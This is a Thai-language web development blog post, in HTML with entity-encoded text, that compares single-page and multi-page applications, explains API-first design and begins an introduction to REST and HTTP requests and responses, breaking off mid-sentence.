&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07;&#xE41;&#xE2D;&#xE1B;&#xE1E;&#xE25;&#xE34;&#xE40;&#xE04;&#xE0A;&#xE31;&#xE19;&#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE2A;&#xE39;&#xE07;</p><p>&#xE43;&#xE19;&#xE0A;&#xE48;&#xE27;&#xE07;&#xE44;&#xE21;&#xE48;&#xE01;&#xE35;&#xE48;&#xE1B;&#xE35;&#xE17;&#xE35;&#xE48;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE21;&#xE32; &#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE25;&#xE35;&#xE48;&#xE22;&#xE19;&#xE41;&#xE1B;&#xE25;&#xE07;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE43;&#xE19;&#xE27;&#xE34;&#xE18;&#xE35;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Web Application &#xE08;&#xE32;&#xE01; Multi-Page Application (MPA) &#xE44;&#xE1B;&#xE2A;&#xE39;&#xE48; Single Page Application (SPA)</p><p>SPA &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE44;&#xE14;&#xE49;&#xE23;&#xE31;&#xE1A;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE13;&#xE4C;&#xE17;&#xE35;&#xE48;&#xE23;&#xE32;&#xE1A;&#xE23;&#xE37;&#xE48;&#xE19;&#xE02;&#xE36;&#xE49;&#xE19;&#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23; Update &#xE2B;&#xE19;&#xE49;&#xE32;&#xE1B;&#xE31;&#xE08;&#xE08;&#xE38;&#xE1A;&#xE31;&#xE19;&#xE41;&#xE1A;&#xE1A; Dynamic &#xE41;&#xE17;&#xE19;&#xE17;&#xE35;&#xE48;&#xE08;&#xE30; Load &#xE2B;&#xE19;&#xE49;&#xE32;&#xE43;&#xE2B;&#xE21;&#xE48;&#xE17;&#xE38;&#xE01;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE17;&#xE35;&#xE48;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE42;&#xE15;&#xE49;&#xE15;&#xE2D;&#xE1A;&#xE01;&#xE31;&#xE1A; Application</p><p>&#xE43;&#xE19; SPA, HTML &#xE41;&#xE25;&#xE30; Resource &#xE17;&#xE35;&#xE48;&#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE08;&#xE30;&#xE16;&#xE39;&#xE01; Load &#xE40;&#xE1E;&#xE35;&#xE22;&#xE07;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE40;&#xE14;&#xE35;&#xE22;&#xE27; &#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE19;&#xE31;&#xE49;&#xE19;&#xE01;&#xE32;&#xE23;&#xE42;&#xE15;&#xE49;&#xE15;&#xE2D;&#xE1A;&#xE01;&#xE31;&#xE1A; Application &#xE08;&#xE30;&#xE16;&#xE39;&#xE01;&#xE14;&#xE33;&#xE40;&#xE19;&#xE34;&#xE19;&#xE01;&#xE32;&#xE23;&#xE42;&#xE14;&#xE22; JavaScript &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE08;&#xE31;&#xE14;&#xE01;&#xE32;&#xE23;&#xE40;&#xE19;&#xE37;&#xE49;&#xE2D;&#xE2B;&#xE32;&#xE43;&#xE19;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE17;&#xE35;&#xE48; Load &#xE44;&#xE27;&#xE49;&#xE17;&#xE35;&#xE41;&#xE23;&#xE01;</p><p>&#xE02;&#xE13;&#xE30;&#xE17;&#xE35;&#xE48;&#xE27;&#xE34;&#xE18;&#xE35;&#xE01;&#xE32;&#xE23;&#xE14;&#xE31;&#xE49;&#xE07;&#xE40;&#xE14;&#xE34;&#xE21;&#xE41;&#xE1A;&#xE1A; MPA &#xE08;&#xE30;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23; Load &#xE2B;&#xE19;&#xE49;&#xE32; HTML &#xE43;&#xE2B;&#xE21;&#xE48;&#xE17;&#xE38;&#xE01;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49; Click &#xE17;&#xE35;&#xE48; Link &#xE2B;&#xE23;&#xE37;&#xE2D; Submit Form &#xE04;&#xE33;&#xE02;&#xE2D;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE43;&#xE19;&#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE04;&#xE23;&#xE31;&#xE49;&#xE07;&#xE08;&#xE30;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23; Refresh &#xE2B;&#xE19;&#xE49;&#xE32;&#xE17;&#xE31;&#xE49;&#xE07;&#xE2B;&#xE21;&#xE14;</p><p>SPA &#xE08;&#xE30; Load HTML &#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19; &#xE41;&#xE25;&#xE49;&#xE27;&#xE2A;&#xE48;&#xE07;&#xE04;&#xE33;&#xE02;&#xE2D;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE43;&#xE19;&#xE23;&#xE39;&#xE1B; JSON &#xE40;&#xE17;&#xE48;&#xE32;&#xE17;&#xE35;&#xE48;&#xE08;&#xE33;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE1C;&#xE48;&#xE32;&#xE19; API &#xE14;&#xE31;&#xE07;&#xE19;&#xE31;&#xE49;&#xE19; SPA &#xE08;&#xE36;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19; API-centric &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23;&#xE41;&#xE1A;&#xE48;&#xE07;&#xE04;&#xE27;&#xE32;&#xE21;&#xE23;&#xE31;&#xE1A;&#xE1C;&#xE34;&#xE14;&#xE0A;&#xE2D;&#xE1A;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE21;&#xE27;&#xE25;&#xE1C;&#xE25;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07; Client &#xE41;&#xE25;&#xE30; Server &#xE0B;&#xE36;&#xE48;&#xE07;&#xE1D;&#xE31;&#xE48;&#xE07; Client &#xE21;&#xE31;&#xE01;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE14;&#xE49;&#xE27;&#xE22; JavaScript Frameword &#xE40;&#xE0A;&#xE48;&#xE19; React &#xE02;&#xE13;&#xE30;&#xE17;&#xE35;&#xE48; MPA &#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE40;&#xE1B;&#xE47;&#xE19; Server-centric &#xE17;&#xE35;&#xE48;&#xE40;&#xE19;&#xE49;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE21;&#xE27;&#xE25;&#xE1C;&#xE25;&#xE17;&#xE35;&#xE48;&#xE0B;&#xE31;&#xE1A;&#xE0B;&#xE49;&#xE2D;&#xE19;&#xE43;&#xE19;&#xE1D;&#xE31;&#xE48;&#xE07; Server &#xE17;&#xE33;&#xE43;&#xE2B;&#xE49;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE17;&#xE49;&#xE32;&#xE22;&#xE21;&#xE32;&#xE01;&#xE02;&#xE36;&#xE49;&#xE19;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23; Scale &#xE41;&#xE25;&#xE30;&#xE1A;&#xE33;&#xE23;&#xE38;&#xE07;&#xE23;&#xE31;&#xE01;&#xE29;&#xE32;&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D; Application &#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE0B;&#xE31;&#xE1A;&#xE0B;&#xE49;&#xE2D;&#xE19;&#xE21;&#xE32;&#xE01;&#xE02;&#xE36;&#xE49;&#xE19;</p><p>&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE44;&#xE23;&#xE01;&#xE47;&#xE15;&#xE32;&#xE21; SPA &#xE01;&#xE47;&#xE21;&#xE35;&#xE02;&#xE49;&#xE2D;&#xE08;&#xE33;&#xE01;&#xE31;&#xE14; &#xE40;&#xE0A;&#xE48;&#xE19; &#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32; SEO &#xE2B;&#xE32;&#xE01;&#xE44;&#xE21;&#xE48;&#xE43;&#xE0A;&#xE49; Server-Side Rendering (SSR), Initial Load Time &#xE17;&#xE35;&#xE48;&#xE2A;&#xE39;&#xE07; &#xE41;&#xE25;&#xE30;&#xE04;&#xE27;&#xE32;&#xE21;&#xE0B;&#xE31;&#xE1A;&#xE0B;&#xE49;&#xE2D;&#xE19;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE41;&#xE25;&#xE30;&#xE14;&#xE39;&#xE41;&#xE25;&#xE23;&#xE31;&#xE01;&#xE29;&#xE32; Frontend</p><p>Multi-Page Application (MPA) &#xE22;&#xE31;&#xE07;&#xE04;&#xE07;&#xE40;&#xE2B;&#xE21;&#xE32;&#xE30;&#xE2A;&#xE21;&#xE01;&#xE31;&#xE1A;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE2B;&#xE25;&#xE32;&#xE22;&#xE1B;&#xE23;&#xE30;&#xE40;&#xE20;&#xE17; &#xE42;&#xE14;&#xE22;&#xE40;&#xE09;&#xE1E;&#xE32;&#xE30;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE17;&#xE35;&#xE48;&#xE40;&#xE19;&#xE49;&#xE19;&#xE04;&#xE27;&#xE32;&#xE21;&#xE40;&#xE23;&#xE35;&#xE22;&#xE1A;&#xE07;&#xE48;&#xE32;&#xE22; &#xE04;&#xE27;&#xE32;&#xE21;&#xE40;&#xE2A;&#xE16;&#xE35;&#xE22;&#xE23; &#xE41;&#xE25;&#xE30; SEO &#xE1A;&#xE32;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE1A;&#xE2D;&#xE32;&#xE08;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE43;&#xE0A;&#xE49;&#xE41;&#xE19;&#xE27;&#xE17;&#xE32;&#xE07;&#xE41;&#xE1A;&#xE1A; Hybrid &#xE40;&#xE0A;&#xE48;&#xE19; MPA &#xE17;&#xE35;&#xE48;&#xE2A;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE32;&#xE23;&#xE1C;&#xE48;&#xE32;&#xE19; API</p><p>&#xE01;&#xE32;&#xE23;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01; SPA &#xE2B;&#xE23;&#xE37;&#xE2D; MPA &#xE04;&#xE27;&#xE23;&#xE1E;&#xE34;&#xE08;&#xE32;&#xE23;&#xE13;&#xE32;&#xE08;&#xE32;&#xE01;&#xE25;&#xE31;&#xE01;&#xE29;&#xE13;&#xE30;&#xE02;&#xE2D;&#xE07;&#xE23;&#xE30;&#xE1A;&#xE1A; &#xE17;&#xE35;&#xE21;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; &#xE41;&#xE25;&#xE30;&#xE02;&#xE49;&#xE2D;&#xE08;&#xE33;&#xE01;&#xE31;&#xE14;&#xE14;&#xE49;&#xE32;&#xE19;&#xE17;&#xE23;&#xE31;&#xE1E;&#xE22;&#xE32;&#xE01;&#xE23; &#xE21;&#xE32;&#xE01;&#xE01;&#xE27;&#xE48;&#xE32;&#xE01;&#xE32;&#xE23;&#xE40;&#xE25;&#xE37;&#xE2D;&#xE01;&#xE15;&#xE32;&#xE21;&#xE41;&#xE19;&#xE27;&#xE42;&#xE19;&#xE49;&#xE21;&#xE17;&#xE32;&#xE07;&#xE40;&#xE17;&#xE04;&#xE42;&#xE19;&#xE42;&#xE25;&#xE22;&#xE35;</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/spa.png" class="kg-image" alt loading="lazy" width="2000" height="594" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/spa.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/09/spa.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/09/spa.png 1600w, https://blog.pjjop.org/content/images/size/w2400/2024/09/spa.png 2400w" sizes="(min-width: 720px) 720px"></figure><h2 id="api-first">API First</h2><p>&#xE43;&#xE19;&#xE0A;&#xE48;&#xE27;&#xE07;&#xE44;&#xE21;&#xE48;&#xE01;&#xE35;&#xE48;&#xE1B;&#xE35;&#xE17;&#xE35;&#xE48;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE21;&#xE32; API First &#xE44;&#xE14;&#xE49;&#xE01;&#xE25;&#xE32;&#xE22;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE41;&#xE19;&#xE27;&#xE17;&#xE32;&#xE07;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Software &#xE22;&#xE2D;&#xE14;&#xE19;&#xE34;&#xE22;&#xE21; &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE43;&#xE2B;&#xE49;&#xE04;&#xE27;&#xE32;&#xE21;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A; API &#xE01;&#xE48;&#xE2D;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A;&#xE23;&#xE30;&#xE1A;&#xE1A; &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE40;&#xE02;&#xE35;&#xE22;&#xE19; Code &#xE0B;&#xE36;&#xE48;&#xE07;&#xE17;&#xE35;&#xE21; Frontend Developer, Backend Developer &#xE41;&#xE25;&#xE30; QA &#xE2F;&#xE25;&#xE2F; &#xE08;&#xE30;&#xE17;&#xE33;&#xE07;&#xE32;&#xE19;&#xE23;&#xE48;&#xE27;&#xE21;&#xE01;&#xE31;&#xE19;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A; API &#xE15;&#xE32;&#xE21; System Requirement</p><p>Code First &#xE08;&#xE30;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;&#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Code &#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A;&#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; API Document &#xE08;&#xE30;&#xE21;&#xE32;&#xE17;&#xE35;&#xE2B;&#xE25;&#xE31;&#xE07; &#xE42;&#xE14;&#xE22;&#xE08;&#xE30;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE01;&#xE32;&#xE23;&#xE21;&#xE38;&#xE48;&#xE07;&#xE40;&#xE19;&#xE49;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19; Code &#xE40;&#xE1B;&#xE47;&#xE19;&#xE2B;&#xE25;&#xE31;&#xE01;</p><p>API First &#xE08;&#xE30;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19;&#xE14;&#xE49;&#xE27;&#xE22;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A; API &#xE42;&#xE14;&#xE22;&#xE21;&#xE35;&#xE01;&#xE32;&#xE23; Review &#xE41;&#xE25;&#xE30; Mock API &#xE01;&#xE48;&#xE2D;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE08;&#xE23;&#xE34;&#xE07; &#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Code &#xE08;&#xE30;&#xE21;&#xE32;&#xE17;&#xE35;&#xE2B;&#xE25;&#xE31;&#xE07;&#xE2B;&#xE25;&#xE31;&#xE07;&#xE08;&#xE32;&#xE01;&#xE17;&#xE35;&#xE48; API &#xE44;&#xE14;&#xE49;&#xE23;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A;&#xE41;&#xE25;&#xE49;&#xE27; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE08;&#xE30;&#xE40;&#xE19;&#xE49;&#xE19;&#xE01;&#xE32;&#xE23;&#xE17;&#xE33; API Document &#xE41;&#xE25;&#xE30;&#xE01;&#xE32;&#xE23;&#xE17;&#xE14;&#xE2A;&#xE2D;&#xE1A; API &#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE25;&#xE30;&#xE40;&#xE2D;&#xE35;&#xE22;&#xE14;</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/07/aad520f5-00d9-4606-af4b-fdb5d1ac63c4_1600x1483.webp" class="kg-image" alt loading="lazy" width="1456" height="1350" srcset="https://blog.pjjop.org/content/images/size/w600/2024/07/aad520f5-00d9-4606-af4b-fdb5d1ac63c4_1600x1483.webp 600w, https://blog.pjjop.org/content/images/size/w1000/2024/07/aad520f5-00d9-4606-af4b-fdb5d1ac63c4_1600x1483.webp 1000w, https://blog.pjjop.org/content/images/2024/07/aad520f5-00d9-4606-af4b-fdb5d1ac63c4_1600x1483.webp 1456w" sizes="(min-width: 720px) 720px"></figure><p>&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Application &#xE15;&#xE32;&#xE21;&#xE41;&#xE19;&#xE27;&#xE04;&#xE34;&#xE14; API First &#xE08;&#xE30;&#xE0A;&#xE48;&#xE27;&#xE22;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE23;&#xE32;&#xE04;&#xE33;&#xE19;&#xE36;&#xE07;&#xE16;&#xE36;&#xE07;&#xE1B;&#xE31;&#xE08;&#xE08;&#xE31;&#xE22;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D; &#xE46; &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A; API &#xE17;&#xE35;&#xE48;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16; Scale &#xE44;&#xE14;&#xE49;&#xE14;&#xE35;&#xE15;&#xE31;&#xE49;&#xE07;&#xE41;&#xE15;&#xE48;&#xE40;&#xE23;&#xE34;&#xE48;&#xE21;&#xE15;&#xE49;&#xE19; &#xE08;&#xE36;&#xE07;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE41;&#xE19;&#xE27;&#xE04;&#xE34;&#xE14;&#xE17;&#xE35;&#xE48;&#xE40;&#xE2A;&#xE23;&#xE34;&#xE21;&#xE01;&#xE31;&#xE19;&#xE2D;&#xE22;&#xE48;&#xE32;&#xE07;&#xE14;&#xE35;&#xE01;&#xE31;&#xE1A;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE41;&#xE1A;&#xE1A; Single Page Application (SPA)</p><h2 id="rest-api-design">REST API Design</h2><p>&#xE40;&#xE21;&#xE37;&#xE48;&#xE2D;&#xE40;&#xE23;&#xE32;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; Software &#xE1D;&#xE31;&#xE48;&#xE07; Fontend &#xE40;&#xE23;&#xE32;&#xE21;&#xE31;&#xE01;&#xE08;&#xE30;&#xE04;&#xE34;&#xE14;&#xE16;&#xE36;&#xE07;&#xE04;&#xE19;&#xE18;&#xE23;&#xE23;&#xE21;&#xE14;&#xE32;&#xE17;&#xE35;&#xE48;&#xE44;&#xE21;&#xE48;&#xE21;&#xE35;&#xE04;&#xE27;&#xE32;&#xE21;&#xE40;&#xE0A;&#xE35;&#xE48;&#xE22;&#xE27;&#xE0A;&#xE32;&#xE0D;&#xE14;&#xE49;&#xE32;&#xE19;&#xE40;&#xE17;&#xE04;&#xE42;&#xE19;&#xE42;&#xE25;&#xE22;&#xE35;&#xE21;&#xE32;&#xE01;&#xE19;&#xE31;&#xE01; &#xE42;&#xE14;&#xE22;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Interface &#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE21;&#xE34;&#xE15;&#xE23; &#xE23;&#xE31;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE43;&#xE19;&#xE2A;&#xE34;&#xE48;&#xE07;&#xE17;&#xE35;&#xE48;&#xE1C;&#xE39;&#xE49;&#xE43;&#xE0A;&#xE49;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE01;&#xE32;&#xE23; &#xE41;&#xE15;&#xE48;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32; API (Application Programming Interfaces) &#xE19;&#xE31;&#xE49;&#xE19;&#xE41;&#xE15;&#xE01;&#xE15;&#xE48;&#xE32;&#xE07;&#xE2D;&#xE2D;&#xE01;&#xE44;&#xE1B; &#xE40;&#xE23;&#xE32;&#xE01;&#xE4D;&#xE32;&#xE25;&#xE31;&#xE07;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; Interface &#xE2A;&#xE4D;&#xE32;&#xE2B;&#xE23;&#xE31;&#xE1A; Programmer &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE17;&#xE31;&#xE01;&#xE29;&#xE30; &#xE0B;&#xE36;&#xE48;&#xE07;&#xE2A;&#xE32;&#xE21;&#xE32;&#xE23;&#xE16;&#xE2A;&#xE31;&#xE07;&#xE40;&#xE01;&#xE15;&#xE38;&#xE16;&#xE36;&#xE07;&#xE1B;&#xE31;&#xE0D;&#xE2B;&#xE32;&#xE17;&#xE32;&#xE07;&#xE40;&#xE17;&#xE04;&#xE19;&#xE34;&#xE04;&#xE40;&#xE25;&#xE47;&#xE01; &#xE46; &#xE19;&#xE49;&#xE2D;&#xE22;</p><p>API &#xE21;&#xE35;&#xE21;&#xE32;&#xE19;&#xE32;&#xE19;&#xE41;&#xE25;&#xE49;&#xE27;&#xE43;&#xE19;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A;&#xE43;&#xE14;&#xE23;&#xE39;&#xE1B;&#xE41;&#xE1A;&#xE1A;&#xE2B;&#xE19;&#xE36;&#xE48;&#xE07;</p><figure class="kg-card kg-image-card"><img src="https://blog.pjjop.org/content/images/2024/09/timeline.png" class="kg-image" alt loading="lazy" width="2000" height="1853" srcset="https://blog.pjjop.org/content/images/size/w600/2024/09/timeline.png 600w, https://blog.pjjop.org/content/images/size/w1000/2024/09/timeline.png 1000w, https://blog.pjjop.org/content/images/size/w1600/2024/09/timeline.png 1600w, https://blog.pjjop.org/content/images/2024/09/timeline.png 2226w" sizes="(min-width: 720px) 720px"></figure><p>&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE1E;&#xE31;&#xE12;&#xE19;&#xE32;&#xE41;&#xE1A;&#xE1A; API First &#xE19;&#xE31;&#xE49;&#xE19; REST (Representational State Transfer) &#xE40;&#xE1B;&#xE47;&#xE19;&#xE21;&#xE32;&#xE15;&#xE23;&#xE10;&#xE32;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE32;&#xE23;&#xE17;&#xE35;&#xE48;&#xE1E;&#xE1A;&#xE1A;&#xE48;&#xE2D;&#xE22;&#xE17;&#xE35;&#xE48;&#xE2A;&#xE38;&#xE14;&#xE23;&#xE30;&#xE2B;&#xE27;&#xE48;&#xE32;&#xE07;&#xE2A;&#xE2D;&#xE07; Application &#xE2B;&#xE23;&#xE37;&#xE2D; Software &#xE17;&#xE35;&#xE48;&#xE17;&#xE4D;&#xE32;&#xE2B;&#xE19;&#xE49;&#xE32;&#xE17;&#xE35;&#xE48;&#xE41;&#xE15;&#xE01;&#xE15;&#xE48;&#xE32;&#xE07;&#xE01;&#xE31;&#xE19;&#xE1C;&#xE48;&#xE32;&#xE19;&#xE40;&#xE04;&#xE23;&#xE37;&#xE2D;&#xE02;&#xE48;&#xE32;&#xE22; &#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE40;&#xE0A;&#xE35;&#xE48;&#xE22;&#xE27;&#xE0A;&#xE32;&#xE0D;&#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE23;&#xE49;&#xE32;&#xE07; REST API &#xE40;&#xE23;&#xE32;&#xE15;&#xE49;&#xE2D;&#xE07;&#xE1B;&#xE0F;&#xE34;&#xE1A;&#xE31;&#xE15;&#xE34;&#xE15;&#xE32;&#xE21;&#xE41;&#xE19;&#xE27;&#xE17;&#xE32;&#xE07;&#xE1A;&#xE32;&#xE07;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1E;&#xE37;&#xE48;&#xE2D;&#xE43;&#xE2B;&#xE49;&#xE41;&#xE19;&#xE48;&#xE43;&#xE08;&#xE27;&#xE48;&#xE32;&#xE40;&#xE23;&#xE32;&#xE44;&#xE14;&#xE49;&#xE2D;&#xE2D;&#xE01;&#xE41;&#xE1A;&#xE1A; API &#xE17;&#xE35;&#xE48;&#xE21;&#xE35;&#xE1B;&#xE23;&#xE30;&#xE2A;&#xE34;&#xE17;&#xE18;&#xE34;&#xE20;&#xE32;&#xE1E;&#xE41;&#xE25;&#xE30;&#xE43;&#xE0A;&#xE49;&#xE07;&#xE32;&#xE19;&#xE07;&#xE48;&#xE32;&#xE22;</p><p>&#xE2B;&#xE25;&#xE31;&#xE01;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE33;&#xE04;&#xE31;&#xE0D;&#xE02;&#xE2D;&#xE07; REST &#xE04;&#xE37;&#xE2D;</p><p><strong><em>&#xE43;&#xE0A;&#xE49; HTTP (Hypertext Transfer Protocol) &#xE43;&#xE19;&#xE01;&#xE32;&#xE23;&#xE2A;&#xE37;&#xE48;&#xE2D;&#xE2A;&#xE32;&#xE23;</em></strong><br>HTTP &#xE40;&#xE1B;&#xE47;&#xE19; Stateless Protocol &#xE17;&#xE35;&#xE48; Request &#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE23;&#xE32;&#xE22;&#xE01;&#xE32;&#xE23;&#xE40;&#xE1B;&#xE47;&#xE19;&#xE2D;&#xE34;&#xE2A;&#xE23;&#xE30;&#xE15;&#xE48;&#xE2D;&#xE01;&#xE31;&#xE19; &#xE42;&#xE14;&#xE22; Server &#xE08;&#xE30;&#xE44;&#xE21;&#xE48;&#xE40;&#xE01;&#xE47;&#xE1A;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;&#xE43;&#xE14; &#xE46; &#xE40;&#xE01;&#xE35;&#xE48;&#xE22;&#xE27;&#xE01;&#xE31;&#xE1A; Request &#xE01;&#xE48;&#xE2D;&#xE19;&#xE2B;&#xE19;&#xE49;&#xE32;</p><p>HTTP Request &#xE41;&#xE15;&#xE48;&#xE25;&#xE30;&#xE23;&#xE32;&#xE22;&#xE01;&#xE32;&#xE23;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE2D;&#xE1A;&#xE14;&#xE49;&#xE27;&#xE22; Method &#xE40;&#xE0A;&#xE48;&#xE19; GET, POST, PUT, DELETE, Header &#xE41;&#xE25;&#xE30; Body &#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19; Option &#xE2A;&#xE33;&#xE2B;&#xE23;&#xE31;&#xE1A;&#xE1A;&#xE23;&#xE23;&#xE08;&#xE38;&#xE02;&#xE49;&#xE2D;&#xE21;&#xE39;&#xE25;</p><p>HTTP Response &#xE08;&#xE30;&#xE1B;&#xE23;&#xE30;&#xE01;&#xE2D;&#xE1A;&#xE44;&#xE1B;&#xE14;&#xE49;&#xE27;&#xE22; Status Code, Header, &#xE41;&#xE25;&#xE30; Body &#xE17;&#xE35;&#xE48;&#xE40;&#xE1B;&#xE47;&#xE19; Option 